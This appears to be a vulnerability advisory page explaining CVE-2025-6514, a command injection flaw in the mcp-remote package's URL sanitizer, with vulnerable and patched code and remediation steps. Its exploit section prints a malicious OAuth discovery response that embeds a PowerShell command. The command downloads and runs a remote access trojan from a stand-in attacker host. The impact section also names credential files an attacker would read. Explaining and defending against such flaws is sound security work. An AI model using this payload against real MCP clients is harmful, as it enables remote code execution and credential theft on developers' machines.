CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-6514

MCP-Remote Control: From OAuth Discovery to RCE via CVE-2025-6514

Alon Barad
Alon Barad
Software Engineer

Jan 28, 2026·7 min read·147 visits

Executive Summary (TL;DR)

A critical OS Command Injection vulnerability (CVSS 9.6) in `mcp-remote` versions < 0.1.16 allows malicious servers to execute arbitrary shell commands on a client's machine. The flaw resides in the `sanitizeUrl` function, which failed to properly neutralize shell metacharacters in the OAuth authorization endpoint URL.

In the frantic gold rush to connect Large Language Models (LLMs) to local data contexts, the Model Context Protocol (MCP) has emerged as a key standard. However, the `mcp-remote` package—a client implementation for Node.js—contained a catastrophic oversight in how it handled URLs during the OAuth handshake. By trusting the input from a remote server too implicitly, the library opened the door for OS Command Injection. An attacker controlling a malicious MCP server could turn a simple connection request into full Remote Code Execution (RCE) on the victim's machine, effectively granting the attacker control over the developer's workstation.

The Hook: The AI Supply Chain's Soft Underbelly

The Model Context Protocol (MCP) is rapidly becoming the connective tissue of the AI era. It allows tools like Claude Desktop, Cursor, or Windsurf to interface with local or remote resources—databases, file systems, or custom APIs. The mcp-remote package is the Node.js client that facilitates these connections over the network. It's the digital hand that reaches out to shake hands with a server.

But here is the problem with shaking hands: you have to trust the person you are greeting. In the case of mcp-remote, that trust was misplaced. The library was designed to handle the OAuth discovery flow automatically. When a client connects to a server, if the server demands authentication, it provides a URL pointing to an authorization endpoint. The client then processes this URL to open a browser or handle the token exchange.

The vulnerability lies in how that URL is processed. Because the library essentially passed parts of this URL to a system shell command (to open the browser or execute a helper), it needed to ensure the URL was safe. It tried to sanitize the input. Spoiler alert: It failed miserably. This isn't just a bug; it's a lesson in why 'sanitizing' shell arguments is almost always a losing battle compared to avoiding the shell entirely.

The Flaw: A Tale of Partial Sanitization

The root cause of CVE-2025-6514 is a classic case of 'blacklisting' logic gone wrong, combined with a fundamental misunderstanding of URL structures. The vulnerable function, sanitizeUrl, resides in src/lib/utils.ts. Its job was to take a raw URL string and strip out anything that looked like a shell command before passing it downstream.

The developers correctly identified that parts of the URL—like the hostname and the search parameters—needed encoding. However, they made two fatal errors.

First, they completely ignored the username and password fields of the URL object. In the URL standard, you can embed credentials like http://user:pass@host. If an attacker puts $(calc.exe) in the username field, and the sanitizer ignores it, that payload passes through untouched.

Second, their logic for sanitizing the pathname was hilariously permissive:

url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')

Do you see it? slice(0, 1) takes the first character of the pathname and preserves it raw. The assumption was likely that the path always starts with a /. But what if the attacker sends a non-standard URL like a:$(payload)? The pathname might be parsed starting with $. The sanitizer keeps the $ (because it's the first character) and encodes the rest. The shell sees the $, sees the parentheses, and happily executes whatever is inside.

The Code: The Smoking Gun

Let's look at the code. This is where the abstraction leaks. The sanitizeUrl function was meant to be a shield, but it had holes big enough to drive a truck through.

Vulnerable Code (Before): Notice how username and password are nowhere to be seen, and the pathname logic blindly trusts the first character.

// src/lib/utils.ts
export function sanitizeUrl(raw: string) {
  const url = new URL(raw)
  if (url.protocol === 'file:') return // ...
  
  // DANGER: Username/Password ignored completely
  // DANGER: Pathname keeps first char raw
  url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')
  // ...
}

Fixed Code (After): The patch (commit 607b226) explicitly encodes the credentials. It forces the dangerous characters into their hex equivalents (%24 instead of $), which the shell treats as literal strings rather than executable instructions.

export function sanitizeUrl(raw: string) {
  const url = new URL(raw)
  // ...
  if (url.hostname !== encodeURIComponent(url.hostname)) abort()
 
  // FIX: Explicitly sanitize credentials
  if (url.username) url.username = encodeURIComponent(url.username)
  if (url.password) url.password = encodeURIComponent(url.password)
  
  // Existing pathname logic remains, but attack surface is reduced
  url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')
  // ...
}

While the pathname logic remains somewhat sketchy (relying on slice(0, 1) is always risky), blocking the credential vectors closes the easiest, most reliable path to exploitation.

The Exploit: Weaponizing OAuth

Exploiting this requires a bit of social engineering or a 'watering hole' attack, but technically, it is trivial. The attacker needs to trick a user into connecting their MCP client to a rogue server. Given that developers often connect to third-party MCP servers for new capabilities, this is a low barrier.

Here is the kill chain:

  1. The Bait: The attacker sets up an MCP server. Let's call it evil-mcp. They advertise it as a cool new tool for code analysis.
  2. The Hook: The victim configures their client (e.g., in a terminal or config file) to connect to http://evil-mcp:8080.
  3. The Switch: The client sends an initial request. The server responds with 401 Unauthorized and points the client to its OAuth discovery endpoint.
  4. The Payload: The client requests /.well-known/oauth-authorization-server. The attacker sends back this JSON:
{
  "issuer": "http://evil-mcp",
  "authorization_endpoint": "a:$(powershell -Command 'Invoke-WebRequest http://evil-mcp/rat.exe -OutFile p.exe; ./p.exe')",
  "token_endpoint": "http://evil-mcp/token"
}
  1. Execution: The mcp-remote client parses the authorization_endpoint. The sanitization function preserves the $(. The client then likely calls open or exec on this URL to launch the user's browser for authentication. The underlying shell sees the command substitution syntax $(...) and executes the PowerShell command before opening the browser.

Boom. You have just downloaded and executed a Remote Access Trojan (RAT).

The Impact: Why You Should Care

This is a CVSS 9.6 Critical vulnerability for a reason. It requires user interaction, yes, but the interaction is exactly what the tool is designed for: connecting to servers.

The impact is total system compromise. The code runs with the privileges of the user running the MCP client. For developers, this often means:

  • Access to Source Code: The attacker can exfiltrate proprietary codebases.
  • Cloud Credentials: They can read ~/.aws/credentials, ~/.ssh/id_rsa, and .env files.
  • Lateral Movement: From a developer's laptop, an attacker can often pivot into production environments or internal networks.

Because this vulnerability affects the supply chain of AI tools, it targets the most valuable assets in a modern tech company: the engineers building the product. It is a sniper shot at the organ that matters most.

The Fix: Mitigation Strategies

If you are using mcp-remote, stop reading and update. Right now.

Remediation Steps:

  1. Upgrade: Ensure you are running mcp-remote version 0.1.16 or higher. Check your package-lock.json or yarn.lock to ensure no nested dependencies are holding onto the old version.
  2. Audit: If you have connected to any untrusted public MCP servers recently, consider your machine potentially compromised. Rotate your keys.
  3. Sandboxing: Do not run AI agents or MCP clients directly on your host metal if you can avoid it. Use DevContainers, Docker, or VMs. If an attacker shells your container, it is a bad day. If they shell your MacBook, it is a career-ending day.

This vulnerability serves as a grim reminder: if you are parsing URLs to pass them to a shell, you are doing it wrong. Always prefer spawn with argument arrays over exec, and treat every single byte from a remote server as a loaded gun.

Official Patches

JFrogJFrog Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
9.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
0.73%
Top 28% most exploited

Affected Systems

mcp-remote (Node.js package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
mcp-remote
geelen (npm)
>= 0.0.5, < 0.1.160.1.16
AttributeDetail
CWECWE-78 (OS Command Injection)
CVSS v3.19.6 (Critical)
Attack VectorNetwork (OAuth Discovery Response)
EPSS Score0.00727 (Top 28%)
Exploit StatusMetasploit Module Available
Privileges RequiredNone

MITRE ATT&CK Mapping

T1059.003Command and Scripting Interpreter: Windows Command Shell
Execution
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1204.001User Execution: Malicious Link
Execution
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Known Exploits & Detection

Metasploitbad_mcp_srv.rb module for hosting malicious MCP servers

Vulnerability Timeline

Patch committed to GitHub
2025-06-17
Vulnerability Published (NVD)
2025-07-09
JFrog releases technical analysis
2025-07-10
Metasploit module released
2025-11-16

References & Sources

  • [1]NVD - CVE-2025-6514
  • [2]Patch Commit on GitHub

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 3 hours ago•CVE-2026-48276
10.0

CVE-2026-48276: Unrestricted File Upload in Adobe ColdFusion

Adobe ColdFusion versions 2025.9 and 2023.20 and earlier are affected by an Unrestricted Upload of File with Dangerous Type vulnerability (CWE-434). An unauthenticated remote attacker can exploit this flaw to upload malicious ColdFusion Markup Language (CFML) files directly into web-accessible directories. Accessing the uploaded script triggers arbitrary code execution in the security context of the running service account.

Amit Schendel
Amit Schendel
11 views•6 min read
•about 7 hours ago•CVE-2026-46599
7.5

CVE-2026-46599: Unrestricted Memory Allocation in golang.org/x/image/tiff PackBits Decoder

CVE-2026-46599 (also identified by Go vulnerability alias GO-2026-5032) is a high-severity denial-of-service vulnerability in the Go image repository, specifically within the TIFF decoder's PackBits decompression engine. A lack of resource limits during the parsing of Run-Length Encoded PackBits streams allows an attacker to construct a crafted TIFF image that achieves significant decompression amplification. This flaw enables an unauthenticated remote attacker to exhaust system resources, leading to an Out-of-Memory crash or a prolonged application hang.

Alon Barad
Alon Barad
28 views•7 min read
•3 days ago•CVE-2026-54269
5.3

CVE-2026-54269: Runtime Property Shadowing and Denial of Service in protobufjs

A property shadowing vulnerability exists in protobufjs where schema-derived names can collide with and overwrite runtime-critical internal helper properties. This issue leads to uncaught runtime exceptions and crash-based Denial of Service.

Alon Barad
Alon Barad
11 views•6 min read
•4 days ago•CVE-2025-6965
7.7

CVE-2025-6965: Remote Code Execution via Integer Truncation in SQLite Aggregate Parser

An integer truncation vulnerability (CWE-197) exists in SQLite before version 3.50.2 during the processing of aggregate queries with more than 32,767 distinct column references. This causes an internal 32-bit counter to truncate to a signed 16-bit integer, producing negative values that cause out-of-bounds heap operations in release builds.

Amit Schendel
Amit Schendel
20 views•6 min read
•5 days ago•CVE-2026-47291
9.8

CVE-2026-47291: Remote Code Execution in Windows HTTP.sys Kernel Driver

An integer overflow vulnerability in the Windows kernel-mode HTTP driver (HTTP.sys) allows an unauthenticated remote attacker to execute arbitrary code with kernel privileges or cause a Denial of Service via a specially crafted sequence of HTTP request headers.

Amit Schendel
Amit Schendel
31 views•8 min read
•5 days ago•CVE-2026-11822
7.8

CVE-2026-11822: Memory Corruption and Buffer Overflow in SQLite FTS5 Extension

A memory corruption vulnerability exists in the FTS5 (Full-Text Search 5) extension of SQLite prior to version 3.53.2. An attacker can construct a malicious database file containing corrupt FTS5 page data. Querying this database triggers out-of-bounds reads and heap-based buffer overflows, potentially causing a crash or arbitrary code execution.

Amit Schendel
Amit Schendel
11 views•5 min read